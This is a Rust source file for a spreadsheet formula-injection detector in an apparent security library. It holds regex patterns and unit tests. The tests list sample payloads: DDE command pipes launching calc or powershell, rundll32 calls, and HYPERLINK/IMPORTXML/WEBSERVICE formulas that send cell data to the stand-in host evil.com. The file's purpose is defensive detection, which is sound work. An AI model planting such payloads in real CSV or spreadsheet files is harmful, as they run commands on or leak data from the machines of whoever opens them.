Skip to main content

security_rust/data/
formula_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7// 与 CsvInjectionDetector 的分工:那边是粗粒度层(任意行首 =+-@ 都报,
8// Medium),这边是精确层(只报能执行命令或外带数据的载荷,High)。
9// 因此 `=SUM(A1:A5)` 这类纯算术公式不算本检测器的目标——它够不到 shell
10// 也够不到网络,且已被粗粒度层兜住;重复报一遍只是噪音。
11// legacy `@` 前缀公式的函数名录。这里原来是"任意全大写标识符 + `(`",于是
12// Java/Kotlin 注解(`@GET("/users")`、`@POST("/users")`)和待办标记
13// (`@TODO(清理临时文件)`)全被打成 High——注解在源码/日志里满地都是。
14// `regex` crate 没有反向断言,写不出"排除这几个名字",只能反过来列公式函数。
15const AT_FUNCS: &str = "SUM|HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC|AVERAGE|COUNT|MIN|MAX";
16
17static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
18    vec![
19        // =cmd|' /C calc'!A0:命令管道。锚点带上单元格边界——CSV 一行多个字段,
20        // 载荷常出现在 `admin,=cmd|...` 这种第 2 个字段里。
21        // `cmd` 后面必须紧跟 `|`:`- cmd | run the build` 是文档里的命令列表。
22        // 带空格的 `=cmd | ...!A0` 由下面第 3 条(要单元格引用)兜住。
23        Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*cmd\|").unwrap(),
24        // 能外带数据或触发本地程序的内置函数
25        Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*(?:HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC)[ \t]*\(").unwrap(),
26        // 任意二进制 + DDE 单元格引用:=rundll32|...!A0、=2+5+cmd|...!A0。
27        // `!A1` 前面必须是紧挨着的非空白字符(`'!A0`、`"!A0`)——散文里的
28        // `- 参见 RFC 1234 | 以及 !A1` 中间有空格,是文字不是单元格引用。
29        Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][^\n|]{0,120}\|[^\n]{0,120}[^ \t\n]![A-Z]{1,3}\$?\d{1,5}").unwrap(),
30        // DDE( 载荷
31        Regex::new(r"(?i)\bDDE[ \t]*\(").unwrap(),
32        // legacy @ 前缀公式:@SUM( 等。故意不加 (?i)——小写 @media( 之类是 CSS。
33        // 函数名走名录,任意全大写标识符会命中注解。
34        Regex::new(&[r"(?m)(?:^|[,;])[ \t]*@[ \t]*(?:", AT_FUNCS, r")[ \t]*\("].concat()).unwrap(),
35    ]
36});
37
38pub struct FormulaInjectionDetector;
39
40impl Detector for FormulaInjectionDetector {
41    fn name(&self) -> &'static str {
42        "formula_injection"
43    }
44
45    fn detect(&self, input: &str) -> Option<DetectionResult> {
46        regex_detect(
47            &PATTERNS,
48            self.name(),
49            AttackCategory::Data,
50            Severity::High,
51            "Spreadsheet formula injection detected",
52            input,
53        )
54    }
55}
56
57#[cfg(test)]
58mod tests {
59    use super::*;
60    use crate::test_helpers::{assert_clean, assert_detected};
61
62    fn det() -> FormulaInjectionDetector {
63        FormulaInjectionDetector
64    }
65
66    fn assert_hit(input: &str) {
67        assert_detected(&det(), input, AttackCategory::Data, Severity::High);
68    }
69
70    #[test]
71    fn name_is_formula_injection() {
72        assert_eq!(det().name(), "formula_injection");
73    }
74
75    #[test]
76    fn detects_command_pipe_and_dde_cell_ref() {
77        for input in [
78            "=cmd|' /C calc'!A0",
79            "=cmd|'/C powershell'!A1",
80            "+cmd|' /C calc'!A0",
81            "@cmd|' /C calc'!A0",
82            "=rundll32|'javascript:alert(1)'!A0",
83            "=2+5+cmd|' /C calc'!A0",
84        ] {
85            assert_hit(input);
86        }
87    }
88
89    #[test]
90    fn detects_data_exfiltration_functions() {
91        for input in [
92            r#"=HYPERLINK("http://evil.com?x="&A1,"click")"#,
93            r#"=IMPORTXML("http://evil.com","//x")"#,
94            r#"=IMPORTDATA("http://evil.com/x.csv")"#,
95            r#"=IMPORTRANGE("http://evil.com","Sheet1!A1")"#,
96            r#"=WEBSERVICE("http://evil.com")"#,
97            r#"=FILTERXML("http://evil.com","//x")"#,
98            r#"=RTD("foo.bar",,"x")"#,
99            r#"=EXEC("calc")"#,
100            r#"=  HYPERLINK("http://evil.com")"#,
101        ] {
102            assert_hit(input);
103        }
104    }
105
106    #[test]
107    fn detects_legacy_at_formulas_and_dde() {
108        for input in [
109            "@SUM(1+1)*cmd|' /C calc'!A0",
110            "@SUM(1+1)",
111            "@HYPERLINK(\"http://evil.com\")",
112            r#"DDE("cmd";"/C calc";"!A0")"#,
113            "=DDE(\"cmd\",\"/C calc\")",
114        ] {
115            assert_hit(input);
116        }
117    }
118
119    #[test]
120    fn detects_payload_in_multiline_csv() {
121        let csv = "name,email\nadmin,=cmd|' /C calc'!A0\nbob,bob@x.com";
122        let r = det().detect(csv).expect("expected detection");
123        assert_eq!(r.attack_type, "formula_injection");
124        assert!(
125            r.matched_pattern.contains("=cmd|"),
126            "matched_pattern 应覆盖载荷: {:?}",
127            r.matched_pattern
128        );
129        assert_eq!(
130            &csv[r.offset..r.offset + r.matched_pattern.len()],
131            r.matched_pattern
132        );
133    }
134
135    #[test]
136    fn ignores_doc_commands_and_annotations() {
137        // 文档里的命令列表:`cmd` 与 `|` 之间有空格,且没有单元格引用
138        for input in ["- cmd | run the build", "- CMD | echo hi", "| cmd | 说明"] {
139            assert_clean(&det(), input);
140        }
141        // Java/Kotlin 注解与待办标记:全大写标识符 + `(` 不等于公式
142        for input in [
143            "@GET(\"/users\")",
144            "@POST(\"/users\")",
145            "@DELETE(\"/users/1\")",
146            "@TODO(清理临时文件)",
147            "@FIXME(x)",
148        ] {
149            assert_clean(&det(), input);
150        }
151        // 散文里恰好有 `!A1` 字样,但 `!` 前面是空格
152        assert_clean(&det(), "- 参见 RFC 1234 | 以及 !A1");
153    }
154
155    #[test]
156    fn spaced_cmd_pipe_still_caught_by_cell_ref_pattern() {
157        // `cmd` 与 `|` 之间有空格时第 1 条不报,但只要带 `!A0` 单元格引用,第 3 条兜住
158        for input in [
159            "=cmd|' /C calc'!A0",
160            "=cmd | ' /C calc'!A0",
161            "+cmd|'/C powershell'!A1",
162        ] {
163            assert_hit(input);
164        }
165    }
166
167    #[test]
168    fn legacy_at_functions_still_detected() {
169        for input in [
170            "@SUM(1+1)",
171            "@HYPERLINK(\"http://evil.com\")",
172            "@AVERAGE(B1:B9)",
173        ] {
174            assert_hit(input);
175        }
176    }
177
178    #[test]
179    fn ignores_benign_inputs() {
180        for input in [
181            "Hello, this is a normal text input. Nothing suspicious here.",
182            "= 5",
183            "-3 度",
184            "+1 more item",
185            "@alice 你好",
186            "a@b.com",
187            "contact: alice@example.com",
188            "cost is -20 dollars",
189            "=SUM(A1:A5) 是求和公式",
190            "=AVERAGE(B1:B9)",
191            "@media (max-width: 600px)",
192            "user[name]=alice",
193            "价格从 -5 到 +5 不等",
194        ] {
195            assert_clean(&det(), input);
196        }
197    }
198
199    #[test]
200    fn plain_sum_is_left_to_the_coarse_tier() {
201        // 精确层放行、粗粒度层兜底——两层分工,不重复告警
202        use crate::data::CsvInjectionDetector;
203        for input in ["=SUM(A1:A5)", "=SUM(A1:A5) 是求和公式", "=1+1"] {
204            assert_clean(&det(), input);
205            assert!(
206                CsvInjectionDetector.detect(input).is_some(),
207                "csv_injection 粗粒度层应仍命中: {input}"
208            );
209        }
210    }
211
212    #[test]
213    fn edge_cases() {
214        assert_clean(&det(), "");
215        assert_clean(&det(), "   ");
216        assert_clean(&det(), "你好世界 こんにちは");
217        // 前缀出现在单元格中间(前面不是行首也不在字段边界)
218        assert_clean(&det(), "a=cmd|' /C calc'!A0");
219        // 单元格边界识别:CSV 第二个字段
220        assert_hit("admin,=cmd|' /C calc'!A0");
221        assert_hit("x;=HYPERLINK(\"http://evil.com\")");
222        // 缺 `!A0` 单元格引用的普通管道
223        assert_clean(&det(), "=foo|bar");
224        // DDE 前面的单词边界
225        assert_clean(&det(), "baddle(");
226    }
227}